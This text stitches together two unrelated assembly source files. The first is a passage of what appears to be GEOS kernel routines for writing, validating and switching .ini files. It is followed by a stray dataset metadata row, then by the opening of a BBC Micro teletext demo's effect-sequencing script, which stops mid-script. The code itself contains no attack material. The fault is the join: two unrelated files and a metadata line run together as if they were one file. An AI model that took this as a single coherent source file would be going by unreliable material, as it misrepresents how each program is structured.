-------------------------------------------------------------------------------@
INITFILECOMMIT proc far
uses ax, bx, cx, dx, di, ds, es
.enter
; Some set-up work first
;
call LoadVarSegDS_PInitFile
LoadVarSeg es
tst es:[trashedIniBuffer] ;If the .ini buffer is trashed, just
jnz exit ; exit.
mov bx, es:[loaderVars].KLV_initFileBufHan ;lock the buffer
push bx
call MemLock
mov ds, ax
mov bx, es:[loaderVars].KLV_initFileHan
; To ensure we have sufficient disk space, we first expand the
; current file to the size of the new .INI file. We do this by
; writing out a number of bytes equal to the difference between
; the old & new file sizes. The first character will always be
; EOF (CTRL-Z), to ensure that the file continues to be valid.
;
mov al, FILE_POS_END
clr cx, dx
call FilePosFar ; file size => AX (smaller than 64K)
mov cx, es:[loaderVars].KLV_initFileSize
dec cx ; match logic below
sub cx, ax
ja ensureRoom
; Rewind the sucker first...
validate:
clr cx
mov dx, cx
mov al, FILE_POS_START
call FilePosFar
mov al, FILE_NO_ERRORS
mov cx, es:[loaderVars].KLV_initFileSize
dec cx ; Don't write EOF
EC < call ValidateIniFileFar ; Check to see if buffer was trashed >
NEC < call ValidateIniFile ; Check to see if buffer was trashed >
LONG jc error ; branch if so...
; the .ini file could have been opened read-only.
; We find out it that was the case if our first call to
; FileWrite returns ax=ERROR_ACCESS_DENIED. If that's the
; case, return. If error is something else, then panic.
;
clr al ;clear FILE_NO_ERRORS flag
call FileWriteFar
jnc fileWriteOK
cmp ax, ERROR_SHARING_VIOLATION ;for baseband nets
jz hack10
cmp ax, ERROR_ACCESS_DENIED
jne writeError
hack10:
; .ini file was opened read-only
pop bx
call MemUnlock
jmp exit
fileWriteOK:
mov al, FILE_NO_ERRORS ;reset the FILE_NO_ERRORS_FLAG
; Truncate the file at the current position (using # bytes written
; as the position value), and then commit the file
;
mov dx, cx
clr cx
call FileTruncate
mov al, FILE_NO_ERRORS
call FileCommit
done:
pop bx
call MemUnlock ; unlock the buffer
segmov ds, es ; dgroup -> ds
call VInitFileWrite
exit:
.leave
ret
; Ensure sufficient space is present in the file by writing to it
ensureRoom:
push ds, ax ; save the old file size
mov al, dl ; return errors (DX was 0 from above)
segmov ds, cs, dx
mov dx, offset fileTerminationChar
call FileWriteFar
pop ds, dx ; old file size => DX
jnc validate
cmp ax, ERROR_SHORT_READ_WRITE
jne validate
; Truncate .INI file (size to truncate to is in DX), and display
; the short-write error
;
clr al
clr cx
call FileTruncate ; truncate file to prior size
jmp shortWrite
writeError:
cmp ax, ERROR_SHORT_READ_WRITE
jne error
; a short-write we can allow. we just want to make sure the user is
; aware of the problem.
shortWrite:
mov bx, handle noSpaceForIniString1
call MemLock
mov ds, ax
assume ds:segment noSpaceForIniString1
mov si, ds:[noSpaceForIniString1]
mov di, ds:[noSpaceForIniString2]
mov ax, mask SNF_CONTINUE
call SysNotify
call MemUnlock
jmp done
assume ds:dgroup
; There is something wrong with the .INI file, so DON'T write it out
error:
mov es:[trashedIniBuffer], TRUE ;Set flag saying the .ini buffer
; has been trashed, so we don't
; want to write it out.
call ExitInitfile
if 0 ; Code redundancy
if ERROR_CHECK
ERROR CORRUPTED_INI_FILE
else
mov bx, handle corruptedIniBufferStringOne
call MemLock
mov ds, ax
assume ds:segment corruptedIniBufferStringOne
mov ax, mask SNF_EXIT
mov si, ds:[corruptedIniBufferStringOne]
mov di, ds:[corruptedIniBufferStringTwo]
call SysNotify
mov si, -1
mov ax, SST_DIRTY
GOTO SysShutdown
assume ds:dgroup
endif
else
call CorruptedIniFileError ; never returns
.unreached
endif
INITFILECOMMIT endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitFileGrab
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Grab exclusive access on the initfile routines, and
use the passed buffer as a temporary init file.
CALLED BY: GLOBAL
PASS: ax - handle of memory block that will be used for init
file reads/writes
bx - file handle
cx - size of file
RETURN: if error
carry set
init file contains non-ascii characters, or is
not in a valid init file format.
else
carry clear
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 10/15/93 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitFileGrab proc far
uses ax, bx, cx, ds
.enter
call LoadVarSegDS_PInitFile
;
; Save the current init file handle and buffer handle
;
xchg ax, ds:[loaderVars].KLV_initFileBufHan
mov ds:[savedInitFileBuffer], ax
xchg bx, ds:[loaderVars].KLV_initFileHan
mov ds:[savedInitFileHandle], bx
xchg cx, ds:[loaderVars].KLV_initFileSize
mov ds:[savedInitFileSize], cx
if ERROR_CHECK
;
; Make sure we were passed a valid file
;
mov_tr bx, ax ; buffer handle
call MemLock
mov ds, ax
call ValidateIniFileFar
call MemUnlock
endif
.leave
ret
InitFileGrab endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitFileRelease
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Write the temporary init file to disk, restore the
original init file, and release the init file semaphore.
CALLED BY: GLOBAL
PASS: nothing
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 10/15/93 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
INITFILERELEASE proc far
uses ax, ds
.enter
call InitFileCommit
LoadVarSeg ds
mov ax, ds:[savedInitFileBuffer]
mov ds:[loaderVars].KLV_initFileBufHan, ax
mov ax, ds:[savedInitFileHandle]
mov ds:[loaderVars].KLV_initFileHan, ax
mov ax, ds:[savedInitFileSize]
mov ds:[loaderVars].KLV_initFileSize, ax
call VInitFileWrite
.leave
ret
INITFILERELEASE endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitFileMakeCanonicKeyCategory
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Converts an SBCS/DBCS (depending on GEOS version)
string to one which is suitable for use as an initfile
key/category. Namely, it will be SBCS, and contain only
printible ASCII characters, minus any special INI file
characters.
CALLED BY: GLOBAL
PASS: ds:si = TCHAR ASCIIZ string
es:di = Buffer for resulting Canonicalized string.
SBCS: Buffer must be twice as large as
source string (including NULL).
DBCS: Buffer must be as large as source buffer
(including NULL)
RETURN: es:di = Buffer filled with SBCS ASCIIZ result.
Result is guaranteed never to be larger than
the above sizes.
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
The following conversions will be applied to each
character in the source (<nil> means omitted)
printable ASCII -> Equivalent ASCII
C_SPACE -> C_SPACE
{}=;\[] -> Ascii Hex
other -> Ascii Hex
REVISION HISTORY:
Name Date Description
---- ---- -----------
CT 8/19/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;
; Table of boundaries between alternating ranges of characters which
; do/don't need conversion to ASCII hex (each entry is the last character
; in a range). Some of the conversion ranges include more characters
; than we really need to, but it doesn't matter, as long as the result
; doesn't contain any illegal chars. And being over-general lets us
; specify fewer ranges, reducing the size of the table.
;
cvtRanges label TCHAR ; Chars converted
TCHAR C_SPACE-1 ; Control chars (0-31)
TCHAR ';'-1, '>' ; ; < = > ('>' not necessary, but included
TCHAR '['-1, ']' ; [ \ ] for consistency with '<')
TCHAR '{'-1, -1 ; { | } ~ DEL -> last-possible-char
InitFileMakeCanonicKeyCategory proc far
uses ax,si,di,bp
.enter
cvtChar:
;
; Load next source char
;
EC < call ECCheckBounds >
EC < segxchg ds, es >
EC < xchg si, di >
EC < call ECCheckBounds >
EC < segxchg ds, es >
EC < xchg si, di >
SBCS < lodsb >
SBCS < tst al >
DBCS < lodsw >
DBCS < tst ax >
jz endCvt
mov bp, -(size TCHAR)
tryRange:
;
; figure out whether the character falls within a converion
; range or not.
;
DBCS < inc bp >
inc bp
SBCS < cmp al, cs:cvtRanges[bp] >
DBCS < cmp ax, cs:cvtRanges[bp] >
ja tryRange
SBCS < test bp, 01b ; bp = odd or even entry? >
DBCS < test bp, 10b >
jz hexify ; if even, convert
store:: ; odd, copy
;
; Char is acceptable ASCII, so just store the byte in the output
;
stosb
jmp cvtChar
hexify:
;
; Convert ax (byte/word) to ASCII Hex in output
;
DBCS < push ax >
DBCS < call Hex8ToAscii >
DBCS < mov al, ah >
DBCS < pop ax >
call Hex8ToAscii ; di updated
jmp cvtChar
endCvt:
stosb
.leave
ret
InitFileMakeCanonicKeyCategory endp
InitfileWrite ends
Patching segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitFileBackupLanguage
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Backup the current .INI file to the appropriate
language patch directory, so it could be restored
later.
CALLED BY: GLOBAL
PASS: nothing
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
PC 1/24/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if MULTI_LANGUAGE
EC < initECInitFileName char "geosec.ini",0 >
NEC < initInitFileName char "geos.ini",0 >
endif
InitFileBackupLanguage proc far
if MULTI_LANGUAGE
uses ax,bx,cx,dx,si,di,ds,es
.enter
; Save the initfile to disk (before the language change).
call InitFileCommit
; Go to old language patch directory.
call GeodeSetLanguagePatchPath
jnc pathSet ; Successfully set path.
; Path did not exist. Create it and change to it.
call CreateLanguagePatchDir
call FilePopDir
call GeodeSetLanguagePatchPath
jc done ; Still got error: abort.
pathSet:
; Set es:di to name of .ini file.
segmov es, cs, di
EC < mov di, offset initECInitFileName >
NEC < mov di, offset initInitFileName >
; Copy the name to the stack if running under XIP.
FXIP < segmov ds, es, dx >
FXIP < call SysCopyToStackDSSIFar >
FXIP < segmov es, ds, dx >
; Copy old language's initfile so we can restore it if we ever
; use this this language again.
LoadVarSeg ds
mov si, ds:[loaderVars].KLV_initFileHan
clr dx ; Use current path as destination.
mov ds, dx ; Use file handle for source.
mov cx, SP_TOP
call FileCopy
; Restore the stack if necessary.
FXIP < call SysRemoveFromStackFar >
done: ; Reset original directory.
call FilePopDir
.leave
endif ; (MULTI-LANGUAGE)
ret
InitFileBackupLanguage endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitFileSwitchLanguages
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Delete the current .ini file buffer, and load a new
buffer with the .ini file last used for the newly
specified language.
CALLED BY: GLOBAL
PASS: nothing
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
PC 1/24/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitFileSwitchLanguages proc far
if MULTI_LANGUAGE
uses ax,bx,cx,dx,ds
.enter
; Load the new .ini file into a buffer.
call GeodeSetLanguagePatchPath
jc done ; Error on setting path.
mov ax, mask FOARF_ADD_EOF \
or FILE_DENY_W or FILE_ACCESS_R
segmov ds, cs, dx
EC < mov dx, offset initECInitFileName >
NEC < mov dx, offset initInitFileName >
call FileOpenAndRead
; ax = handle of new .ini buffer.
jc done ; Reading new .ini file.
; Lock the .ini file.
call LoadVarSegDS_PInitFile
; Get the old .ini buffer handle from kdata.
mov bx, ds:[loaderVars].KLV_initFileBufHan
push bx ; Old buffer handle.
; Save the new .ini buffer handle to kdata.
mov ds:[loaderVars].KLV_initFileBufHan, ax
; Set the owner of the new block to the owner of the old block
; (the kernel).
call MemOwnerFar
; bx = owner of old block
xchg ax, bx
; ax = owner of old block
; bx = handle of new .ini buffer
call HandleModifyOwner
; Free the old buffer.
pop bx ; Old buffer handle.
call MemFree
; Unlock the .ini file.
call VInitFileWrite
done: ; Restore original path.
call FilePopDir
.leave
endif ; (MULTI-LANGUAGE)
ret
InitFileSwitchLanguages endp
Patching ends
| 23.102627 | 82 | 0.607296 |
54c6cabe3335efc987f4dbc40fa778d8ac0a7a52 | 39,331 | asm | Assembly | src/config.asm | bitshifters/teletextr | 1bbf9ae4ca8a9c9601be3fe3fff2ed151814e615 | [
"MIT"
] | 8 | 2016-12-26T19:33:13.000Z | 2021-02-19T21:01:07.000Z | src/config.asm | bitshifters/teletextr | 1bbf9ae4ca8a9c9601be3fe3fff2ed151814e615 | [
"MIT"
] | 9 | 2016-11-25T00:58:44.000Z | 2017-06-26T15:22:10.000Z | src/config.asm | bitshifters/teletextr | 1bbf9ae4ca8a9c9601be3fe3fff2ed151814e615 | [
"MIT"
] | null | null | null | ; Config script for the demo
; Makes things a bit more data driven and easier to fine tune
; Things to improve:
; control over vsync
; control over loading
; set timed offsets within segments
; animated memory variables for effect inputs (simple interpolators etc.)
; set specific start times for segments (so effects can be timed to the music track)
; wait command?
;-----------------------------------------------
; Let's go mad with macros
; Here's some helpers to neaten things up a bit
;-----------------------------------------------
; quick segment containing one double buffered effect
MACRO RUN_EFFECT duration, routine, slot
SCRIPT_SEGMENT_START duration
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT routine, slot
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDMACRO
; quick segment containing one double buffered effect, with a value
MACRO RUN_EFFECTV duration, routine, slot, value
SCRIPT_SEGMENT_START duration
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOTV routine, slot, value
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDMACRO
; gif animation macro, just pass in duration and the id of the gif anim to play
MACRO GIF_SEGMENT duration, gifid
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALL shadow_set_single_buffer
SCRIPT_CALLSLOTV fx_playgifs_init, gifid, FX_PLAYGIFS_SLOT
SCRIPT_SEGMENT_START duration
SCRIPT_CALLSLOTV fx_playgifs_playanim, gifid, FX_PLAYGIFS_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_CALL shadow_set_double_buffer
; RUN_EFFECTV duration, fx_playgifs_playanim, FX_PLAYGIFS_SLOT, gifid
SCRIPT_CALL fx_clear
ENDMACRO
; hide the screen for duration, then clear it and show again
MACRO BLANK_DISPLAY duration
SCRIPT_SEGMENT_START duration
SCRIPT_CALL hide_vram
SCRIPT_SEGMENT_END
SCRIPT_CALL fx_clear
SCRIPT_CALL show_vram
ENDMACRO
MACRO DOTSCOLLER_SEGMENT duration, set_text_fn
SCRIPT_CALLSLOT set_text_fn, FX_DOTSCROLLER_SLOT
SCRIPT_SEGMENT_START duration
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_dotscroller_update, FX_DOTSCROLLER_SLOT
SCRIPT_CALLSLOT fx_mirrorfloor_update, FX_MIRRORFLOOR_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDMACRO
MACRO TEXTTYPE_SEGMENT duration, delay, text_fn
SCRIPT_CALLSLOTV fx_textscreen_reset_type_delay, delay, FX_CREDITSCROLL_SLOT
SCRIPT_SEGMENT_START duration
SCRIPT_CALL fx_buffer_swap ; stars are self-erasing - optional!
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_starfield_update, FX_STARFIELD_SLOT
SCRIPT_CALLSLOT text_fn, FX_CREDITSCROLL_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDMACRO
;------------------------------------------------------------------------
; DEMOS START
;------------------------------------------------------------------------
.demo_script_start
; initialise routines
SCRIPT_CALL fx_copybuffer_init
SCRIPT_CALLSLOT initialise_multiply, FX_3DCODE_SLOT
;
; not sure if this is necessary here yet but hey ho
;SCRIPT_CALLSLOT fx_3dshape_init, FX_3DSHAPE_SLOT
;-----------------------------------------------------------
; If Abug demo then we just play the following segment
;-----------------------------------------------------------
IF _ABUG
; vector text effect
SCRIPT_CALLSLOT fx_vectortext_init, FX_VECTORTEXT_SLOT
SCRIPT_SEGMENT_START 1000.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_vectortext_update, FX_VECTORTEXT_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
; ABUG demo never exits this segment
ENDIF
; test credits sequence
IF 0
; clear the screen on finish
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALL shadow_set_single_buffer
SCRIPT_SEGMENT_START 34.5-7.0
; SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_creditscroll_update, FX_CREDITSCROLL_SLOT
SCRIPT_CALLSLOT fx_rasterbars_update, FX_RASTERBARS_SLOT
; SCRIPT_CALLSLOT fx_rasterbars_write_shadow, FX_RASTERBARS_SLOT
SCRIPT_SEGMENT_END
ENDIF
;------------------------------------------------------------------------
; PART 1: SETUP
; a) Tuning in the TV
; b) Pages from Ceefax
; c) Bitshifters hijack
;------------------------------------------------------------------------
;-----------------------------------------------------------
; Screen off/on
;-----------------------------------------------------------
BLANK_DISPLAY 1.0
;-----------------------------------------------------------
; Tuning in....
;-----------------------------------------------------------
SCRIPT_CALL sfx_noise_on
SCRIPT_SEGMENT_START 3.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_noise_update, FX_NOISE_SLOT
SCRIPT_SEGMENT_END
SCRIPT_CALL sfx_noise_off
SCRIPT_CALL fx_clear
;-----------------------------------------------------------
; scrolling bars
;-----------------------------------------------------------
SCRIPT_SEGMENT_START 1.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_copperbars_update, FX_COPPERBARS_SLOT
SCRIPT_SEGMENT_END
;-----------------------------------------------------------
; Tuned - show testcard
;-----------------------------------------------------------
SCRIPT_CALL fx_clear
SCRIPT_CALLSLOT fx_testcard_init, FX_TESTCARD_SLOT
SCRIPT_SEGMENT_START 2.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_testcard, FX_TESTCARD_SLOT
SCRIPT_SEGMENT_END
;-----------------------------------------------------------
; Screen off/on
;-----------------------------------------------------------
SCRIPT_CALL fx_music_stop ; kill testcard tone
BLANK_DISPLAY 2.0
;-----------------------------------------------------------
; teletext intro & jaunty ceefax type music
;-----------------------------------------------------------
SCRIPT_CALL fx_music_init_reg ; reg
SCRIPT_CALL fx_music_start
SCRIPT_CALL fx_clear
SCRIPT_SEGMENT_START 3.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_SEGMENT_START 3.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_teletext_showtestcard, FX_TELETEXT_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_SEGMENT_START 10.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_teletext_showpages, FX_TELETEXT_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
;-----------------------------------------------------------
; Next effect suggests that Teletext has gone wrong
; and bitshifters are taking over
; TODO: show "we interrupt this broadcast..."
;-----------------------------------------------------------
SCRIPT_CALL fx_music_stop
SCRIPT_CALL sfx_noise_on
SCRIPT_SEGMENT_START 2.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_colournoise_update, FX_NOISE_SLOT
;SCRIPT_CALL fx_colournoise_update
; SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_CALL sfx_noise_off
SCRIPT_CALLSLOT fx_logoanim_init, FX_LOGOANIM_SLOT ; initialises a single screen with the logo
SCRIPT_CALLSLOT fx_logoanim_update, FX_LOGOANIM_SLOT ; just updates top & bottom chars of logo
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_logoanim_init, FX_LOGOANIM_SLOT ; initialises a single screen with the logo
SCRIPT_CALLSLOT fx_logoanim_update, FX_LOGOANIM_SLOT ; just updates top & bottom chars of logo
SCRIPT_SEGMENT_START 0.1
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_logoanim_update, FX_LOGOANIM_SLOT ; just updates top & bottom chars of logo
SCRIPT_SEGMENT_END
SCRIPT_CALL sfx_noise_on
SCRIPT_SEGMENT_START 1.5
SCRIPT_CALL fx_buffer_swap
; SCRIPT_CALL fx_colournoise_update
SCRIPT_CALLSLOT fx_colournoise_update, FX_NOISE_SLOT
SCRIPT_SEGMENT_END
SCRIPT_CALL sfx_noise_off
SCRIPT_CALLSLOT fx_logoanim_init, FX_LOGOANIM_SLOT ; initialises a single screen with the logo
SCRIPT_CALLSLOT fx_logoanim_update, FX_LOGOANIM_SLOT ; just updates top & bottom chars of logo
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_logoanim_init, FX_LOGOANIM_SLOT ; initialises a single screen with the logo
SCRIPT_CALLSLOT fx_logoanim_update, FX_LOGOANIM_SLOT ; just updates top & bottom chars of logo
SCRIPT_SEGMENT_START 0.2
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_logoanim_update, FX_LOGOANIM_SLOT ; just updates top & bottom chars of logo
SCRIPT_SEGMENT_END
SCRIPT_CALL sfx_noise_on
SCRIPT_SEGMENT_START 0.5
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_colournoise_update, FX_NOISE_SLOT
; SCRIPT_CALL fx_colournoise_update
; SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_CALL sfx_noise_off
SCRIPT_CALLSLOT fx_logoanim_init, FX_LOGOANIM_SLOT ; initialises a single screen with the logo
SCRIPT_CALLSLOT fx_logoanim_update, FX_LOGOANIM_SLOT ; just updates top & bottom chars of logo
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_logoanim_init, FX_LOGOANIM_SLOT ; initialises a single screen with the logo
SCRIPT_CALLSLOT fx_logoanim_update, FX_LOGOANIM_SLOT ; just updates top & bottom chars of logo
SCRIPT_SEGMENT_START 0.2
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_logoanim_update, FX_LOGOANIM_SLOT ; just updates top & bottom chars of logo
SCRIPT_SEGMENT_END
SCRIPT_CALL sfx_noise_on
SCRIPT_SEGMENT_START 0.1
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_colournoise_update, FX_NOISE_SLOT
; SCRIPT_CALL fx_colournoise_update
; SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_CALL sfx_noise_off
SCRIPT_CALLSLOT fx_logoanim_init, FX_LOGOANIM_SLOT ; initialises a single screen with the logo
SCRIPT_CALLSLOT fx_logoanim_update, FX_LOGOANIM_SLOT ; just updates top & bottom chars of logo
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_logoanim_init, FX_LOGOANIM_SLOT ; initialises a single screen with the logo
SCRIPT_CALLSLOT fx_logoanim_update, FX_LOGOANIM_SLOT ; just updates top & bottom chars of logo
SCRIPT_SEGMENT_START 2.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_logoanim_update, FX_LOGOANIM_SLOT ; just updates top & bottom chars of logo
SCRIPT_SEGMENT_END
;-----------------------------------------------------------
; START DEMO SECTION
;-----------------------------------------------------------
BLANK_DISPLAY 1.0
SCRIPT_CALL fx_clear
SCRIPT_SEGMENT_START 1.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT ; but should have changed from CEEFAX to BITFAX?
SCRIPT_SEGMENT_END
SCRIPT_CALL fx_music_init_en ; en
SCRIPT_CALL fx_music_start
IF 1
SCRIPT_CALLSLOTV fx_textscreen_reset_type_delay, 2, FX_CREDITSCROLL_SLOT
SCRIPT_CALLSLOTV fx_greenscreen_set_fg, 144+6, FX_GREENSCREEN_SLOT
SCRIPT_SEGMENT_START 2.5
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_greenscreen_update, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOT fx_textscreen_type_weather, FX_CREDITSCROLL_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDIF
;-----------------------------------------------------------
; GIF SEGUE - Weather breaking
;-----------------------------------------------------------
GIF_SEGMENT 6.3, PLAYGIFS_WEATHER
; would be cute to add "Weather forecast for Budleigh Salterton..."
;-----------------------------------------------------------
; "Bitshifters presents" sequence would be good here
;-----------------------------------------------------------
;-----------------------------------------------------------
; Wibbling logo
;-----------------------------------------------------------
IF 1
SCRIPT_CALLSLOTV fx_textscreen_reset_type_delay, 8, FX_CREDITSCROLL_SLOT
SCRIPT_SEGMENT_START 5.0
SCRIPT_CALL fx_buffer_swap ; stars are self-erasing - optional!
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_logowibble_update, FX_LOGOWIBBLE_SLOT
SCRIPT_CALLSLOT fx_starfield_update, FX_STARFIELD_SLOT
SCRIPT_CALLSLOT fx_textscreen_type_presents, FX_CREDITSCROLL_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDIF
;-----------------------------------------------------------
; Teletextr logo
;-----------------------------------------------------------
IF 1
SCRIPT_SEGMENT_START 3.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOTV fx_teletext_drawpage, PAGE_TELETEXTR, FX_TELETEXT_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDIF
;-----------------------------------------------------------
; Old School
;-----------------------------------------------------------
IF 1
SCRIPT_CALLSLOTV fx_textscreen_reset_type_delay, 4, FX_CREDITSCROLL_SLOT
SCRIPT_SEGMENT_START 4.0
SCRIPT_CALL fx_buffer_swap ; stars are self-erasing - optional!
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_starfield_update, FX_STARFIELD_SLOT
SCRIPT_CALLSLOT fx_textscreen_type_oldschool, FX_CREDITSCROLL_SLOT
SCRIPT_CALLSLOT fx_rasterbars_update, FX_RASTERBARS_SLOT
SCRIPT_CALLSLOT fx_rasterbars_write_shadow, FX_RASTERBARS_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDIF
;-----------------------------------------------------------
; Nova logo
;-----------------------------------------------------------
IF 1
SCRIPT_SEGMENT_START 3.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOTV fx_teletext_drawpage, PAGE_NOVA, FX_TELETEXT_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDIF
SCRIPT_CALL fx_clear
;------------------------------------------------------------------------
; PART 2: OLD-SCHOOL 2D
; a) Plasma
; b) Interference
; c) Rotozoomer
; d) Particles
;
; Additional ideas: linebox, bouncing sprites, wibbling logos etc.
;------------------------------------------------------------------------
;-----------------------------------------------------------
; plasma segment
;-----------------------------------------------------------
; SM: fairly happy with this, but I just want to add some animation params so its less uniform and more interesting
; dot scroll an intro message
IF 1
;DOTSCOLLER_SEGMENT 5.0, fx_dotscroller_set_text_pl
TEXTTYPE_SEGMENT 3.0, 3, fx_textscreen_type_plasma
SCRIPT_CALL fx_clear
